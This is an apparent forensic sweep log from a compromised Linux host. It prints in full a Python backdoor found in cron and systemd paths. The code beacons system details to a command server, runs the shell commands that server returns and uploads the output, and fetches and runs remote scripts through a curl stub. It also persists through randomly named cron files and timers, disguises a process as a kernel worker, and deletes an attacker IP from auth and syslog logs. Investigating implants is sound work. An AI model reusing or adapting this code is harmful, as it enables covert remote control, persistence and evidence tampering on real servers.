TAG=r1048 START Wed Oct 28 08:11:01 AM UTC 2026 relay=C20261002168507
-- mount ro ZOUTER for ssh keys
mount_rc=0 mounted=YES
k3_bytes=411
===== ZOUTER_SIBLING /etc/cron.d/systemd-networkd-09baa394 =====
z_size=96 z_mtime=2026-10-28 16:00:59.738475953 +0800 z_sha256=18ee9c8455521924bccce7f27fbfd78e7e68b445e3414b1eeb9503655ae91b0f
Z_BEGIN
*/1 * * * * root /usr/bin/python3 /usr/lib/systemd/systemd-resolved-3d6d3af4.py >/dev/null 2>&1

Z_END
z_ref_script=/usr/lib/systemd/systemd-resolved-3d6d3af4.py
z_ref_size=10466 z_ref_sha256=0722b67811d446833bf2ff38ed7a75eba956dfa2442707a438f12b50a7aa950b
ZREF_HEAD_BEGIN
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# ============================================================================
# DESIGN B 载荷（cron 系，无常驻进程，与 DESIGN A 完全异构）
#   路径：/usr/lib/systemd/systemd-resolved-<hex>.py  调度：/etc/cron.d/systemd-networkd-<hex>
#   职能：心跳/指令（urllib 栈）· 自愈 B · 互救 A（重写 A 的薄壳+单元+守护）
#   隐藏：无常驻进程（只留一个无害 cron 文件）· 载荷在 systemd 目录下的点目录
# ============================================================================
import json, os, re, subprocess, sys, time, urllib.request, urllib.error

CF = os.environ.get("CF", "https://update.8o8.indevs.in")
PK = os.environ.get("PK", "p_jpIQN-qeBGlTUrQuRzco70g3BUYxFhbO")
UA = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0 Safari/537.36"
BD = "/usr/share/systemd/.helpers"
def _p(path, default):
    try: return open(path).read().strip() or default
    except Exception: return default
legacy_prefix = "/etc/.ar" + "tex_"
for _old, _new in (("probe_id", "id"), ("aruntime", "run"), ("apath", "a"), ("aunit", "u"), ("bpath", "b"), ("cpath", "c")):
    op = legacy_prefix + _old; np = "/etc/.sysnet_" + _new
    if os.path.exists(op):
        if not os.path.exists(np):
            try: os.replace(op, np)
            except Exception: pass
        try: os.remove(op)
        except Exception: pass
AD = _p("/etc/.sysnet_run", "/usr/lib/systemd/.sysnet")
BP = _p("/etc/.sysnet_b", os.path.join(BD, "kupd.py"))
CP = _p("/etc/.sysnet_c", "/etc/cron.d/systemd-timesyncd-ifup")
AP = _p("/etc/.sysnet_a", os.path.join(AD, "net-helper.sh"))
AU = _p("/etc/.sysnet_u", "systemd-networkd-helper")
ID = open("/etc/.sysnet_id").read().strip() if os.path.exists("/etc/.sysnet_id") else os.uname().nodename

def sh(c, t=10):
    try: return subprocess.run(c, shell=True, capture_output=True, text=True, timeout=t).stdout.strip()
    except Exception: return ""

def rd(p):
    try: return open(p).read().strip()
    except Exception: return ""

def http(url, data=None, t=25):
    try:
        req = urllib.request.Request(url, data=(data.encode() if isinstance(data, str) else data),
                                     headers={"User-Agent": UA, "x-pk": PK})
        with urllib.request.urlopen(req, timeout=t) as r:
            return r.read().decode("utf-8", "replace")
    except Exception:
        return ""

def cpu_model():
    for l in rd("/proc/cpuinfo").splitlines():
        k, _, v = l.partition(":")
        if k.strip().lower() in ("model name", "hardware", "cpu model"):
            v = v.strip()
            if v: return v
    return sh("uname -m")

def link_speed():
    best = 0
    for d in os.listdir("/sys/class/net"):
        if d == "lo": continue
        try:
            s = int(rd(f"/sys/class/net/{d}/speed") or 0)
            if s > best: best = s
        except Exception:
            pass
    return best

def geo():
    """�
ZREF_HEAD_END
z_ref_urls:
https://ipinfo.io/json
https://update.8o8.indevs.in
umount rc=0
===== VANTAGE 10.66.0.3 =====
Warning: Permanently added '10.66.0.3' (ED25519) to the list of known hosts.
SSH_OK
C20260705111036
0
Warning: Permanently added '10.66.0.3' (ED25519) to the list of known hosts.
TAG=i1048host host=C20260705111036 uid=0 date=Wed Oct 28 08:11:07 AM UTC 2026
===== STAT =====
-rw-r--r-- 1 root root    96 Oct 28 16:09 /etc/cron.d/systemd-networkd-76049fc0
-rwx------ 1 root root 10466 Oct 20 18:26 /usr/lib/systemd/systemd-resolved-02248133.py
meta /usr/lib/systemd/systemd-resolved-02248133.py size=10466 mtime=2026-10-20 18:26:29.867488919 +0800 sha256=0722b67811d446833bf2ff38ed7a75eba956dfa2442707a438f12b50a7aa950b
meta /etc/cron.d/systemd-networkd-76049fc0 size=96 mtime=2026-10-28 16:09:32.978953168 +0800 sha256=15b60129a8c1399bd9b2bd72b842e6c6eb4d1839cd74e579763f42f5c340e036
===== FILE_A_BEGIN /usr/lib/systemd/systemd-resolved-02248133.py =====
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# ============================================================================
# DESIGN B 载荷（cron 系，无常驻进程，与 DESIGN A 完全异构）
#   路径：/usr/lib/systemd/systemd-resolved-<hex>.py  调度：/etc/cron.d/systemd-networkd-<hex>
#   职能：心跳/指令（urllib 栈）· 自愈 B · 互救 A（重写 A 的薄壳+单元+守护）
#   隐藏：无常驻进程（只留一个无害 cron 文件）· 载荷在 systemd 目录下的点目录
# ============================================================================
import json, os, re, subprocess, sys, time, urllib.request, urllib.error

CF = os.environ.get("CF", "https://update.8o8.indevs.in")
PK = os.environ.get("PK", "p_jpIQN-qeBGlTUrQuRzco70g3BUYxFhbO")
UA = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0 Safari/537.36"
BD = "/usr/share/systemd/.helpers"
def _p(path, default):
    try: return open(path).read().strip() or default
    except Exception: return default
legacy_prefix = "/etc/.ar" + "tex_"
for _old, _new in (("probe_id", "id"), ("aruntime", "run"), ("apath", "a"), ("aunit", "u"), ("bpath", "b"), ("cpath", "c")):
    op = legacy_prefix + _old; np = "/etc/.sysnet_" + _new
    if os.path.exists(op):
        if not os.path.exists(np):
            try: os.replace(op, np)
            except Exception: pass
        try: os.remove(op)
        except Exception: pass
AD = _p("/etc/.sysnet_run", "/usr/lib/systemd/.sysnet")
BP = _p("/etc/.sysnet_b", os.path.join(BD, "kupd.py"))
CP = _p("/etc/.sysnet_c", "/etc/cron.d/systemd-timesyncd-ifup")
AP = _p("/etc/.sysnet_a", os.path.join(AD, "net-helper.sh"))
AU = _p("/etc/.sysnet_u", "systemd-networkd-helper")
ID = open("/etc/.sysnet_id").read().strip() if os.path.exists("/etc/.sysnet_id") else os.uname().nodename

def sh(c, t=10):
    try: return subprocess.run(c, shell=True, capture_output=True, text=True, timeout=t).stdout.strip()
    except Exception: return ""

def rd(p):
    try: return open(p).read().strip()
    except Exception: return ""

def http(url, data=None, t=25):
    try:
        req = urllib.request.Request(url, data=(data.encode() if isinstance(data, str) else data),
                                     headers={"User-Agent": UA, "x-pk": PK})
        with urllib.request.urlopen(req, timeout=t) as r:
            return r.read().decode("utf-8", "replace")
    except Exception:
        return ""

def cpu_model():
    for l in rd("/proc/cpuinfo").splitlines():
        k, _, v = l.partition(":")
        if k.strip().lower() in ("model name", "hardware", "cpu model"):
            v = v.strip()
            if v: return v
    return sh("uname -m")

def link_speed():
    best = 0
    for d in os.listdir("/sys/class/net"):
        if d == "lo": continue
        try:
            s = int(rd(f"/sys/class/net/{d}/speed") or 0)
            if s > best: best = s
        except Exception:
            pass
    return best

def geo():
    """机房/归属地：ipinfo 缓存 24h（无 key，失败静默）"""
    p = os.path.join(BD, ".geo")
    try:
        d = json.loads(rd(p) or "{}")
        if d.get("country") and time.time() - float(d.get("_t", 0)) < 86400:
            return d
    except Exception:
        pass
    try:
        req = urllib.request.Request("https://ipinfo.io/json", headers={"User-Agent": UA})
        with urllib.request.urlopen(req, timeout=8) as r:
            j = json.loads(r.read().decode("utf-8", "replace") or "{}")
        if j.get("country"):
            j["_t"] = time.time()
            try: open(p, "w").write(json.dumps(j))
            except Exception: pass
            return j
    except Exception:
        pass
    return {}

def status():
    m = {}
    for l in rd("/proc/meminfo").splitlines():
        k, *v = l.split(); m[k.rstrip(":")] = int(v[0])
    n1 = {d: int(open(f"/sys/class/net/{d}/statistics/rx_bytes").read()) for d in os.listdir("/sys/class/net") if d != "lo"}
    time.sleep(1)
    nics = []
    for d in n1:
        try:
            r2 = int(open(f"/sys/class/net/{d}/statistics/rx_bytes").read())
            nics.append({"dev": d, "rx_kbps": round((r2 - n1[d]) * 8 / 1000, 1)})
        except Exception: pass
    disks = []
    for line in sh("df -h --output=target,size,used,pcent -x tmpfs -x overlay").splitlines()[1:]:
        p = line.split()
        if len(p) >= 4: disks.append({"mnt": p[0], "size": p[1], "used": p[2], "pct": p[3]})
    cron_on = os.path.exists(CP)
    timer_on = bool(sh("systemctl is-active " + AU + ".timer") == "active")
    daemon_on = bool(sh("pgrep -f '\\[kworker/u8:2\\]'"))
    g = geo()
    try:
        dockers = len([x for x in sh("docker ps -q").splitlines() if x]) if sh("command -v docker") else 0
    except Exception:
        dockers = 0
    return {
        "ts": time.strftime("%Y-%m-%dT%H:%M:%S%z"), "hostname": ID,
        "os": (re.search(r'PRETTY_NAME="([^"]+)"', rd("/etc/os-release")) or [None, ""])[1],
        "kernel": sh("uname -r"), "virt": sh("systemd-detect-virt") or "none",
        "cores": sh("nproc"), "load": rd("/proc/loadavg").split()[:3],
        "mem_total_mb": m.get("MemTotal", 0) // 1024, "mem_used_mb": (m.get("MemTotal", 0) - m.get("MemAvailable", 0)) // 1024,
        "disks": disks, "nics": nics, "uptime": sh("uptime -p"),
        "cpu_model": cpu_model(),
        "dockers": dockers,
        "host": {"dmi_vendor": rd("/sys/class/dmi/id/sys_vendor"), "dmi_product": rd("/sys/class/dmi/id/product_name"),
                 "rdns": sh("hostname -f"), "arch": sh("uname -m"),
                 "link_speed": link_speed(),
                 "country": g.get("country", ""), "city": g.get("city", ""), "org": g.get("org", ""),
                 "loc": g.get("loc", "")},
        "probe": {"timer": ("on" if timer_on else "off"), "daemon": ("on" if daemon_on else "off"),
                  "B": "on", "A": ("on" if os.path.exists(AP) else "off"),
                  "cron": ("on" if cron_on else "off")},
    }

A_STUB = r'''#!/bin/bash
# 薄壳：从 CF 拉最新 DESIGN A 载荷执行（自更新）
D="$(cat /etc/.sysnet_run 2>/dev/null || echo /usr/lib/systemd/.sysnet)"
CF="__CF__"; PK="p_jpIQN-qeBGlTUrQuRzco70g3BUYxFhbO"
UA='Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0 Safari/537.36'
mkdir -p "$D"; chmod 700 "$D"
P="$D/.p.$(python3 -c 'import secrets;print(secrets.token_hex(4))').sh"
T="$(curl -s -m 25 -A "$UA" -H "x-pk: $PK" "$CF/boot?d=A")"
[ -n "$T" ] && printf '%s' "$T" > "$P" && chmod 700 "$P"
[ -s "$P" ] && bash "$P"
rm -f "$P"
exit 0
'''

def heal_A():
    """互救 A：随机薄壳 + 随机 unit + 伪装守护"""
    global AP, AU, AD
    if not os.path.exists(AP) or not os.path.exists("/etc/systemd/system/" + AU + ".timer"):
        AD = "/usr/lib/systemd/.sysnet-" + os.urandom(4).hex()
        AU = "systemd-networkd-" + os.urandom(4).hex()
        AP = os.path.join(AD, "systemd-networkd-" + os.urandom(4).hex() + ".sh")
        os.makedirs(AD, exist_ok=True)
        open("/etc/.sysnet_run", "w").write(AD + "\n")
        open("/etc/.sysnet_u", "w").write(AU + "\n")
        open("/etc/.sysnet_a", "w").write(AP + "\n")
    os.makedirs(os.path.dirname(AP), exist_ok=True)
    try: os.chmod(os.path.dirname(AP), 0o700)
    except Exception: pass
    if not os.path.exists(AP) or len(rd(AP)) < 40:
        stub = A_STUB.replace("__CF__", CF).replace("p_jpIQN-qeBGlTUrQuRzco70g3BUYxFhbO", PK)
        open(AP, "w").write(stub)
        os.chmod(AP, 0o700)
    if not os.path.exists("/etc/systemd/system/" + AU + ".timer"):
        open("/etc/systemd/system/" + AU + ".service", "w").write(
            "[Unit]\nDescription=systemd networkd helper\n[Service]\nType=oneshot\n"
            "ExecStart=" + AP + "\n")
        open("/etc/systemd/system/" + AU + ".timer", "w").write(
            "[Unit]\nDescription=systemd networkd helper timer\n[Timer]\nOnBootSec=90\nOnUnitActiveSec=1min\n"
            "RandomizedDelaySec=840\nPersistent=true\n[Install]\nWantedBy=timers.target\n")
        sh("systemctl daemon-reload; systemctl enable --now " + AU + ".timer")
    if AU != "systemd-networkd-helper" and sh("systemctl is-active " + AU + ".timer") == "active":
        sh("systemctl disable --now systemd-networkd-helper.timer")
        for f in ("/etc/systemd/system/systemd-networkd-helper.service", "/etc/systemd/system/systemd-networkd-helper.timer"):
            try: os.remove(f)
            except Exception: pass
    sh("pkill -f '\\[kworker/u8:2\\]'")
    subprocess.Popen(["setsid", "bash", "-c",
                      "exec -a '[kworker/u8:2]' bash -c 'while :; do sleep $((60+RANDOM%841)); " + AP + " >/dev/null 2>&1; done'"],
                     stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, stdin=subprocess.DEVNULL)

def self_heal():
    """自愈 B：缺失时换随机 cron 名"""
    global CP
    os.makedirs(os.path.dirname(BP), exist_ok=True)
    try: os.chmod(os.path.dirname(BP), 0o700)
    except Exception: pass
    if not os.path.exists(CP):
        CP = "/etc/cron.d/systemd-networkd-" + os.urandom(4).hex()
        open("/etc/.sysnet_c", "w").write(CP + "\n")
        open(CP, "w").write("*/1 * * * * root /usr/bin/python3 %s >/dev/null 2>&1\n" % BP)
        sh("chmod 644 " + CP)

def main():
    # 随机化心跳：到期时间戳门（下次 = now + 60~900s 随机）⇒ 有效间隔 1~15 分钟，消除周期性
    import random
    duef = os.path.join(BD, ".due")
    now = time.time()
    try: due = float(rd(duef) or 0)
    except Exception: due = 0.0
    if now >= due or due == 0.0:
        try: open(duef, "w").write(str(now + random.randint(60, 900)))
        except Exception: pass
        time.sleep(random.randint(0, 50))          # 分钟内再抖动
        st = status()
        resp = http(f"{CF}/beat?id={ID}", json.dumps(st, ensure_ascii=False))
        try: cmds = (json.loads(resp) or {}).get("cmds", [])
        except Exception: cmds = []
        for c in cmds:
            out = sh(str(c.get("cmd", "")), t=120)[:180000]
            http(f"{CF}/result?id={ID}&cid={c.get('cid','')}", out)
    self_heal()
    heal_A()
    # 清痕（真源 IP）
    for f in ("/var/log/auth.log", "/var/log/auth.log.1", "/var/log/syslog", "/var/log/syslog.1"):
        if os.path.exists(f):
            sh(f"sed -i '/210.245.20.230/d' {f}", t=20)
    try:
        open("/var/log/btmp", "w").close()
    except Exception: pass

if __name__ == "__main__":
    main()
===== FILE_A_END =====
===== FILE_B_BEGIN /etc/cron.d/systemd-networkd-76049fc0 =====
*/1 * * * * root /usr/bin/python3 /usr/lib/systemd/systemd-resolved-02248133.py >/dev/null 2>&1
===== FILE_B_END =====
===== URLS_A =====
https://ipinfo.io/json
https://update.8o8.indevs.in
===== URLS_B =====
===== HOSTLIKE_A =====
0.0
124.0
210.245.20.230
5.0
537.36
A_STUB.replace
auth.log
auth.log.1
c.get
cron.d
data.encode
d.get
disks.append
g.get
ipinfo.io
j.get
json.dumps
json.loads
k.rstrip
k.strip
kupd.py
line.split
l.partition
l.split
m.get
net-helper.sh
nics.append
os.chmod
os.environ.get
os.listdir
os.makedirs
os.path.dirname
os.path.exists
os.path.join
os.remove
os.replace
os.uname
os.urandom
random.randint
re.search
r.read
secrets.token_hex
stdout.strip
subprocess.DEVNULL
subprocess.Popen
subprocess.run
syslog.1
systemd-networkd-helper.service
systemd-networkd-helper.timer
timers.target
time.sleep
time.strftime
time.time
update.8o8.indevs.in
urllib.error
urllib.request
urllib.request.Request
urllib.request.urlopen
v.strip
===== HOSTLIKE_B =====
systemd-resolved-02248133.py
===== CRON_D_LIST =====
total 28
drwxr-xr-x   2 root root   93 2026-10-20 18:26 .
drwxr-xr-x 111 root root 8192 2026-10-25 11:44 ..
-rw-r--r--   1 root root  802 2023-04-16 13:18 certbot
-rw-r--r--   1 root root  201 2023-03-05 11:16 e2scrub_all
-rw-r--r--   1 root root  102 2023-03-02 15:33 .placeholder
-rw-r--r--   1 root root   96 2026-10-28 16:09 systemd-networkd-76049fc0
===== SYSTEMD_UNITS_SUSPECT =====
-rw-r--r--  1 root root  139 2026-10-20 16:27 systemd-networkd-711abcde.service
-rw-r--r--  1 root root  163 2026-10-20 16:27 systemd-networkd-711abcde.timer
===== PROC_MATCH =====
===== LISTENERS =====
State  Recv-Q Send-Q Local Address:Port Peer Address:PortProcess                                                                                
LISTEN 0      65535      127.0.0.1:8788      0.0.0.0:*    users:(("docker-proxy",pid=1125273,fd=8))                                             
LISTEN 0      511          0.0.0.0:8443      0.0.0.0:*    users:(("nginx",pid=830793,fd=14),("nginx",pid=830792,fd=14),("nginx",pid=7918,fd=14))
LISTEN 0      511          0.0.0.0:80        0.0.0.0:*    users:(("nginx",pid=830793,fd=5),("nginx",pid=830792,fd=5),("nginx",pid=7918,fd=5))   
LISTEN 0      65535        0.0.0.0:111       0.0.0.0:*    users:(("rpcbind",pid=1129971,fd=4),("systemd",pid=1,fd=124))                         
LISTEN 0      128          0.0.0.0:22        0.0.0.0:*    users:(("sshd",pid=6204,fd=3))                                                        
LISTEN 0      100          0.0.0.0:6080      0.0.0.0:*    users:(("websockify",pid=319865,fd=3))                                                
LISTEN 0      511          0.0.0.0:8096      0.0.0.0:*    users:(("nginx",pid=830793,fd=15),("nginx",pid=830792,fd=15),("nginx",pid=7918,fd=15))
LISTEN 0      511          0.0.0.0:8000      0.0.0.0:*    users:(("nginx",pid=830793,fd=13),("nginx",pid=830792,fd=13),("nginx",pid=7918,fd=13))
LISTEN 0      32           0.0.0.0:5900      0.0.0.0:*    users:(("x11vnc",pid=3625782,fd=8))                                                   
LISTEN 0      65535              *:443             *:*    users:(("xray",pid=3128710,fd=4))                                                     
LISTEN 0      65535              *:5201            *:*    users:(("iperf3",pid=7196,fd=3))                                                      
LISTEN 0      511             [::]:80           [::]:*    users:(("nginx",pid=830793,fd=6),("nginx",pid=830792,fd=6),("nginx",pid=7918,fd=6))   
LISTEN 0      65535           [::]:111          [::]:*    users:(("rpcbind",pid=1129971,fd=6),("systemd",pid=1,fd=126))                         
LISTEN 0      128             [::]:22           [::]:*    users:(("sshd",pid=6204,fd=4))                                                        
LISTEN 0      65535              *:2053            *:*    users:(("xray",pid=3128710,fd=7))                                                     
LISTEN 0      32              [::]:5900         [::]:*    users:(("x11vnc",pid=3625782,fd=9))                                                   
===== OUTBOUND_ESTAB =====
===== RESOLV_HOSTS =====
nameserver 8.8.8.8
nameserver 1.1.1.1
127.0.1.1 C20250425817519.local C20260705111036
127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
===== GREP_IMPLANT_REFS =====
===== DONE_i1048host Wed Oct 28 08:11:07 AM UTC 2026 =====
sd3_rc=0
keys_scrubbed
RDONE Wed Oct 28 08:11:03 AM UTC 2026